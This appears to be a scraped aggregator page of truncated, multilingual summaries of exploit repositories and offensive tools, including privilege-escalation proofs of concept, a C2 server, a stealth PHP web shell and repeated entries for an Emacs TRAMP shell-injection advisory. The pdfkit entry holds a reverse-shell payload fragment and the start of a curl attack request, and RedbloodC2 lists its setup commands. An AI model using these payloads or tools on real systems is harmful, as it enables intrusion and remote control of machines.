CVE-2026-79992

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...

CVE-2025-6019

CVE-2025-6019 साक्ष्य-अवधारणा PoC इस रिपॉजिटरी में CVE-2025-6019 के लिए एक साक्ष्य-अवधारणा PoC स्क्रिप्ट है, जो libblockdev और udisks में एक स्थानीय विशेषाधिकार वृद्धि LPE भेद्यता है। स्क्रिप्ट SUID bash बाइनरी के साथ एक XFS फाइलसिस्टम इमेज बनाती है और nosuid विकल्प के बिना इसे माउंट करने के लिए...

webshell-analyzer

Web Shell Analyzer Web shell analyzer is a cross platform stand-alone binary built solely for the purpose of identifying, decoding, and tagging files that are suspected to be web shells. The web shell analyzer is the bigger brother to the web shell scanner project...

CVE-2015-6967

CVE-2015-6967 Nibbleblog 4.0.3 - Caricamento arbitrario di file CVE-2015-6967 requisiti python 3 requests utilizzo root@kitploit: usage: exploit.py -h --url URL --username USERNAME --password PASSWORD --payload PAYLOAD optional arguments: -h, --help mostra questo messaggio di aiuto ed esci --url...

Dirtypipe-exploit

Dirtypipe-exploit PoC di Dirty Pipe CVE-2022-0847 che dirotta un binario SUID per ottenere una shell di root. e tenta anche di ripristinare il binario danneggiato...

CVE-2023-22809-sudoedit-privesc

CVE-2023-22809 sudo Privilegieneskalation Betroffene sudo-Versionen: 1.8.0 bis 1.9.12p1 Dieses Skript automatisiert die Ausnutzung der Schwachstelle CVE-2023-22809, um eine Root-Shell zu erhalten. Das Skript prüft, ob der aktuelle Benutzer Zugriff hat, den Befehl sudoedit oder sudo -e für eine...

CVE-2021-3156

CVE-2021-3156 In diesem Dokument finden Sie alle notwendigen Kenntnisse, um den Code in diesem Repository und seine Funktionsweise zu verstehen. Die gesamte Erklärung basiert auf dem Bericht von QUALYS. Dort werden weitere Ausnutzungsformen erklärt. Voraussetzungen Die anfälligen Versionen von su...

Port-enumeration

Enumerazione delle porte Ti è mai capitato di non avere la possibilità di usare NMap? Per esempio, se hai una reverse shell come utente non privilegiato e non ci sono strumenti utili preinstallati? Questo è un piccolo script che ti aiuterà a scansionare una rete se non hai nulla. Esempio di...

kalitorify

Proxy Trasparente attraverso Tor per Kali Linux Informazioni su kalitorify kalitorify è uno script shell per Kali Linux che utilizza le impostazioni di iptables per creare un Proxy Trasparente attraverso la Rete Tor ; il programma permette anche di eseguire vari controlli come verificare il Tor...

CVE-2019-7609

CVE-2019-7609 Le versioni di Kibana precedenti alla 5.6.15 e alla 6.6.1 contengono una falla di esecuzione arbitraria di codice nel visualizzatore Timelion. Un attaccante con accesso all'applicazione Timelion potrebbe inviare una richiesta che tenta di eseguire codice javascript. Ciò potrebbe...

CVE-2017-8809_MediaWiki_RFD

CVE-2017-8809 - RFD Reflected File Download für MediaWiki Ein entfernter Benutzer kann eine speziell präparierte URL für die Zielseite erstellen, die, wenn sie vom Zielbenutzer geladen wird, das Skript 'api.php' dazu bringt, eine Datei mit Shell-Befehlen herunterzuladen CVE-2017-8809. Die Datei...

sidedoor

sidedoor sidedoor mantiene una connessione SSH o un tunnel con un demone di script shell. Il caso d'uso principale è mantenere un forward di porta remoto verso il server SSH locale o un'altra porta. In questo modo, il dispositivo locale può essere raggiunto senza utilizzare connessioni in entrata...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Tramite CURL modifica i valori in grassetto: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

RedbloodC2

Öffentliche Version von Redblood C2 root@kitploit: This is a simple command and control server to handle sessions and your victims Installation root@kitploit: $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js Verwendung root@kitploit: After...

Jatayu

JATAYU Web Shell PHP Autonomo e Furtivo CARATTERISTICHE Autenticazione basata su header HTTP. 100% Non Rilevabile. Cambio della funzione exec. Niente di speciale. UTILIZZO...

CVE-2022-39986-RaspAP-2.8.0-2.8.7-RCE

RaspAP Hunter RaspAP Hunter è uno script Bash progettato per scansionare installazioni RaspAP e testarle per una specifica vulnerabilità, la CVE-2022-39986. root@kitploit: / \ / | / \ / // // // // \ / /| | / // / / , // // / / // // | / / // || ,//// ./// ||// // author: mind2hex / / / / / / / /...

CVE-2026-79992

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...

CVE-2026-79992 Emacs: local shell command injection through the user field in emacs tramp

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...

CVE-2026-79992

CVE-2026-79992 affects Emacs TRAMP , where a local attacker can achieve arbitrary code execution by processing maliciously crafted filenames. The root cause is that TRAMP concatenates login arguments (derived from the user field) without proper sanitization before passing them to a local shell . ...

EUVD-2026-65616

A flaw was found in Emacs TRAMP. A local attacker could exploit this vulnerability by processing maliciously crafted filenames. This occurs because TRAMP concatenates login arguments without proper sanitization, which are then passed to a local shell. Successful exploitation could lead to arbitra...